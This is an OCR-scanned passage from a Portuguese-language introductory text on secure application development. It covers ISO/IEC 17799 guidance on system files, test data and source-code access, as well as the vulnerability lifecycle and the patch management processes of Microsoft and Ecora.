+  Code Analysis for C/C++, usada para andlise estatica de codigo nas linguagens C e C++;

«  Microsoft Code Analysis Tool .NET, para analisar aplicacées web do framework .NET e
detectar possiveis vulnerabilidades a ataques de injecdo e XSS, entre outros;

- Biblioteca anti-XSS, para evitar ataques de Cross-Site Scripting.

5.4 A seguranca de aplica¢c6es na gestao da seguranca da
informacao

De forma mais abrangente que as abordagens SDL e OWASP, anteriormente descritas, a
norma ISO/IEC 17799:2005 apresenta, em sua secao 12, uma lista de recomendacbes de pra-
ticas relacionadas a seguranca na aquisicao, desenvolvimento e manutencdo de sistemas de
informacdo. A maioria dessas recomendacoes é relacionada com a busca por software seguro.
Dois desses aspectos sdo abordados no restante desse texto: a seguranca dos arquivos do sis-
tema e a gestao de vulnerabilidades técnicas.

31 Veja um video de demonstracao da ferramenta de modelagem de ameacas da Microsoft em
http://www.microsoft.com/security/sdl/video/VideoPlayer.aspx?t=SDL+Threat+Modeling+To
ol.
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6. Seguranca dos Arquivos do Sistema

O funcionamento de um sistema computacional é predominantemente definido pelo sof-
tware e demais arquivos de dados que nele residem. Os outros fatores determinantes sao as
entradas de dados efetuadas pelos usuarios e através de redes de computadores. Sendo os ar-
quivos tao importantes para a manutencao do correto funcionamento dos computadores, torna-
-se clara a necessidade de protegé-los. De acordo com a ISO/IEC 17799:2005, deve-se garantir a
seguranca dos arquivos de sistema. Sobretudo, deve-se ter uma forma de controle de acessos
(Fernandes, 2010b) aos arquivos do sistema e aos codigos fontes dos software nele executados.

Um conjunto de diretrizes com procedimentos para a instalacdo de software e dados em
ambiente operacional sdo apresentados na ISO/IEC 17799, dentre essas tem-se que:

« aatualizacao do software operacional, de aplicativos e de bibliotecas de programas deve
ser executada somente por administradores treinados e com autorizagao gerencial;

- sistemas operacionais somente contenham cédigo executavel e aprovado. Nao de-
vem conter software em desenvolvimento;

. sistemas operacionais e aplicativos somente sejam implementados apds testes ex-
tensivos e bem-sucedidos;

- um sistema de controle de configuracao seja utilizado para manter controle da imple-
mentacao do software assim como da documentacao do sistema;

« uma estratégia de retorno as condicdes anteriores seja disponibilizada antes que mu-
dancas sejam implementadas no sistema;

« um registro de auditoria seja mantido para todas as atualizacdes das bibliotecas dos
programas operacionais;

- versoes anteriores dos softwares aplicativos sejam mantidas como medida de contingéncia;

«  versdes antigas de software sejam arquivadas, junto com todas as informacodes e para-
metros requeridos, procedimentos, detalhes de configuracdes e software de suporte
durante um prazo igual ao prazo de retencdo dos dados.

6.1 Protecao dos dados para teste de sistema

O ambiente de teste deve ser planejado com o intuito de garantir que os dados de testes
sejam selecionados com cuidado, devendo-se evitar o uso de bancos de dados operacionais que
contenham informacdes de natureza pessoal ou qualquer outra informacao considerada sen-
sivel. Caso seja utilizado esse tipo de informacéo, os detalhes e contetdo sensivel devem ser
removidos ou modificados de forma a evitar reconhecimento antes do seu uso (ISO/IEC 17799).

Um conjunto de diretrizes é apresentado para a protecao de dados em ambiente de teste,
dentre esses tem-se (ISO/IEC 17799):

« 0s procedimentos de controle de acesso, implementados nos aplicativos de sistema
em ambiente operacional, sejam também aplicados aos aplicativos de sistema em
ambiente de teste;

«  sejaobtida autorizacdo cada vez que for utilizada uma cépia da informacao operacio-
nal para uso de um aplicativo em teste;

- ainformacao operacional seja apagada do aplicativo em teste imediatamente apos
completar o teste;

« acopia e o uso de informacao operacional sejam registrados de forma a prover uma
trilha para auditoria.
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6.2 Controle de acesso ao codigo-fonte de programa

E importante o controle de acesso ao cédigo-fonte dos programas e dos itens associados
(como desenhos, especificacoes, planos de verificacdo e de validacao), com a finalidade de pre-
venir a introducao de funcionalidade nao autorizada e para evitar mudancas ndo intencionais.
Para os codigos-fonte de programas, esse controle pode ser obtido com a guarda centralizada
do coédigo, de preferéncia utilizando bibliotecas de programa-fonte.

Algumas diretrizes de orientagdes para o controle de acesso as bibliotecas de programa-
-fonte, com a finalidade de reduzir o risco de corrupcao de programas de computador sdo
apresentadas na ISO/IEC 17799, dentre essas tem-se:

« evitar manter as bibliotecas de programa-fonte no mesmo ambiente dos sistemas
operacionais;

. sejaimplementado o controle do cédigo-fonte de programa e das bibliotecas de pro-
grama-fonte, conforme procedimentos estabelecidos;

. o pessoal de suporte ndo tenha acesso irrestrito as bibliotecas de programa-fonte;

« a atualizacdo das bibliotecas de programa-fonte e itens associados e a entrega de
fontes de programas a programadores seja apenas efetuada apds o recebimento da
autorizacao pertinente;

- aslistagens dos programas sejam mantidas em um ambiente seguro;

«  seja mantido um registro de auditoria de todos os acessos ao cédigo-fonte de programa.

A profissao de Tl mais comumente associada com a protecao e guarda de arquivos sao os
gerentes de configuracao de sistemas. Veja, por exemplo, a definicdo da disciplina de geréncia
de configuracdao em IEEE Computer Society (2004).
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7. Gestao de Vulnerabilidades Técnicas

Uma vulnerabilidade é uma fraqueza que pode ser explorada no sistema, enquanto que
o patch é a resposta a uma vulnerabilidade. O patch tende a eliminar uma ou mais vulnerabi-
lidades (White 2006).

Segundo Schneier (2000), o ciclo de vida de uma vulnerabilidade é composto por cinco
fases distintas (Figura 17). A Fase 1 ocorre antes da vulnerabilidade ser descoberta. Nessa fase
a vulnerabilidade existe, mas ainda ndo foi explorada. A Fase 2 ocorre depois da vulnerabilida-
de ser descoberta, mas antes de ela ser divulgada. Nesse momento algumas pessoas sabem
que a vulnerabilidade existe, mas ainda ndo sabem como elimina-la. Durante essa fase, no-
ticias sobre a vulnerabilidade podem ser divulgadas. A Fase 3 ocorre ap6s a vulnerabilidade
ser anunciada. Nessa fase o risco aumenta bastante, uma vez que mais pessoas conhecem a
vulnerabilidade e, sabendo quem a tem, podem explora-la. Na fase 4 a exploracao da vulnera-
bilidade é automatizada por meio de ferramentas de ataque. Essas ferramentas sdo divulgadas
e o risco de ataque cresce exponencialmente. Finalmente o fabricante emite um patch para a
vulnerabilidade, e comeca a Fase 5, a partir das quais os administradores de sistemas instalam
os patches, reduzindo o risco global de exploracdo da vulnerabilidade.

Patches do

vendedor

Vulnerabilidade
popularizada

b

A

Usuario instala

Vulnerabilidade
anunciada

Risco

Vulnerabilidade
descoberta

Tempo

Figura 17: ciclo de vida de uma Vulnerabilidade. Fonte: adaptado de Schneier (2000).

O tempo de cada fase pode variar, dependendo do caso e a Figura 17 é apenas uma re-
presentacdo abstrata do ciclo. O fabricante pode liberar um patch rapidamente, mudando os
tempos do ciclo de vida, assim como outros eventos podem ocorrer durante o ciclo de vida da
vulnerabilidade.

Para solucionar o problema de vulnerabilidades, os fabricantes do software lancam os pa-
tches. Porém os préprios patches podem trazer problemas, tais como os citados por Navajas
(2009): quantidade excessiva de patches para distribuir e testar; processo complexo de apli-
cacao dos patches ; dificuldades na obtencao dos patches; patches que introduzem comporta-
mento instavel no sistema.
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7.1 Procedimentos para a Gestao de Vulnerabilidade

Gerenciamento de Vulnerabilidade é o processo de identificar, monitorar e responder a
vulnerabilidade (White, 2006). Segundo a ISO/IEC 17799:2005, a gestao de vulnerabilidades
tem como objetivo reduzir sistematicamente os riscos resultantes da exploracao de vulnerabi-
lidades técnicas conhecidas.

A ISO/IEC 17799:2005 apresenta um conjunto de diretrizes para uma efetiva gestdo de
vulnerabilidade, tais como:

« que aorganizacao deve definir e estabelecer as fun¢des e responsabilidades associa-
das a gestao de vulnerabilidades técnicas, incluindo o monitoramento de vulnerabili-
dades, a andlise/avaliacdo de riscos de vulnerabilidades, patches, o acompanhamento
dos ativos e qualquer coordenacéo de responsabilidades requerida;

« que os recursos de informacao a serem usados para identificar vulnerabilidades téc-
nicas relevantes e para manter a conscientizacao sobre eles sejam identificados, para
softwares e outras tecnologias;

« que seja definido um prazo junto aos fornecedores e aos administradores de sistemas
para a reacao as notificagdes de potenciais vulnerabilidades técnicas relevantes;

« que uma vez que uma vulnerabilidade técnica potencial tenha sido identificada, con-
vém que a organizacao avalie os riscos associados e as acdes a serem tomadas; tais
acodes podem requerer o uso de patches nos sistemas vulneraveis e/ou a aplicacdo de
outros controles;

« que dependendo da urgéncia exigida para tratar uma vulnerabilidade técnica, con-
vém que a acao tomada esteja de acordo com os controles relacionados com a gestdo
de mudangas ou que sejam seguidos os procedimentos de resposta a incidentes de
seguranca da informacao;

« quese um patch for disponibilizado, convém que sejam avaliados os riscos associados
asuainstalacédo;

« que patches sejam testados e avaliados antes de serem instalados, para assegurar a
efetividade e ndo tragam efeitos que ndo possam ser tolerados. Quando néo exis-
tir a disponibilidade de um patch, convém considerar o uso de outros controles, tais
como: a desativacado de servicos ou potencialidades relacionadas a vulnerabilidade; o
aumento da conscientizacao sobre a vulnerabilidade;

« que seja mantido um registro de auditoria de todos os procedimentos realizados na
gestdo de vulnerabilidades;

« quecom afinalidade de assegurar a eficécia e a eficiéncia, convém que seja monitora-
do e avaliado regularmente o processo de gestdo de vulnerabilidades técnicas;

« que sejam abordados em primeiro lugar os sistemas com altos riscos.

Empresas que desenvolvem software tém seus proprios processos de gerenciamento de
patchs, dentre esses destacam-se: o Processo de Gerenciamento de Atualizagdes da Microsoft
(Microsoft, 2007), o da Ecora (Carpenter 2009) e o da Computer Associates -- CA (Cadden 2007).
Os dois primeiros sdo brevemente descritos a seguir.

7.2 Processo de Gerenciamento de Atualiza¢oes da
Microsoft

Visando uniformizar o processo de aplicacao de patches e reduzir a conotacdo negativa do
termo patch, que significa remendo, bem como também visando integrar processos de geren-
ciamento de configuracdo, de mudancas, de releases, e mesmo de monitoramento, a Microsoft
passou a adotar nos ultimos anos o termo Update Management (Gerenciamento de Atualiza-
¢oes). O processo de Gerenciamento de Atualizacdes da Microsoft, também preparado para ser
empregado em organizacdes que desenvolvem e mantém sistemas para plataforma Windows,
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é um sofisticado processo de gerenciamento baseado em quarto etapas, apresentadas na Fi-
gura 18 (Microsoft, 2007), que s&o:

1. Analisar: anélise dos ativos do ambiente de producao, ameacas e vulnerabilidades e
se a organizacao tem condi¢des para responder as atualizacdes;

2. ldentificar: definir novas atualizacées de software de maneira confiavel, determinar as
importantes para o ambiente de producao e se sao mudangas normais ou de emer-
géncia. Nessa etapa existe um conjunto de prioridades para serem identificadas;

3. Avaliar e Planejar: tomada de decisdo sobre a distribuicdo da atualizacéo, teste da
atualizacdo em ambiente semelhante ao de producéo sao realizados para analise de
impacto em sistemas criticos para o negocio da empresa;

4. Implementar. Nessa fase sdo implementadas as atualizacdes aprovadas na fase anterior.

\

1. Assess 2 ldentiny

Figura 18: Modelo de Gerenciamento de Atualizacdes da Microsoft. Fonte: (Microsoft, 2007).

Na vida real, o processo de gerenciamento de atualizagoes ofertado pela Microsoft aos seus
clientes é bem mais complexo, e pode ser estudado em detalhes a partir do endereco http://te-
chnet.microsoft.com/en-us/updatemanagement/default. No sitio ha recursos e modelos de ge-
renciamento de atualizacdes orientados para organizagdes de pequeno, médio e grande porte.
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7.3 Gerenciamento de Patch Ecora

A Ecora trata o gerenciamento de patch ndo como evento, mas sim cOmo um processo
que tem um ciclo de vida, como apresentado na Figura 19. As seis etapas desse processo sao
(CARPENTER, 2009):

1. Descobrir: descobrir os ativos da rede e sua categorizacao;
2. Analisar: determinacao dos patches a serem distribuidos e definicao da politica bas;

3. Pesquisar e testar: descobrir os patches ausentes. Andlise dos riscos dos patches au-
sentes;

4. Remediar: remediar as vulnerabilidades encontradas com a atualizacdo dos sistemas.
Distribuicdo dos patche;

5. Rede de Seguranca: estd relacionada com a capacidade de desinstalacao de um pa-
tch, caso seja necessario;

6. Relatar: Verificacdo da implementacao dos patches.

Patch
Management
Lifecycle

z
&
-
®

.%

%ﬂﬂ

&
'H":a:ia“"

Figura 19: Ciclo de Vida de Gerenciamento de Patch da Ecora. Fonte: (Carpenter, 2009).

Navajas (2009) faz uma revisao bibliografica acerca de Gerenciamento de Atualizacbes
(patches), propondo um resumo das melhores praticas que podem ser aplicaveis a organiza-
¢oes publicas.
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8 Conclusoes

Esse texto apresentou, de forma introdutéria, um substancial conjunto de aspectos rela-
cionados ao desenvolvimento de aplicagdes computacionais robustas e seguras, que resistem
a ataques de hackers e usudrios maliciosos, especialmente aqueles presentes no ambiente In-
ternet/Web. A partir do conceito de software e seu processo de desenvolvimento, demonstra-
-se que os problemas de seguranca em software, especialmente o software web, constituem-se
em grande fator de risco aos sistemas de informacao das organizacdes. O texto demonstra que
sdo insuficientes o nivel de conhecimento atual do plantel de desenvolvedores de software
que temos no mercado, bem como os processos de desenvolvimento de software pré-existen-
tes nas organizagdes produtoras de software. Mostra-se necessario melhorar os processos de
software existentes, por meio de introducdo de praticas como as propostas pelo OWASP e pela
Microsoft. Esses processos visam, inclusive, introduzir técnicas de codificacdo segura, essen-
ciais a robustez dos sistemas. Por fim, o texto aborda elementos complementares da norma
ISO/IEC, relacionados com aplicacbes seguras, e que devem ser observados, sobretudo, pelos
gerentes de sistemas.
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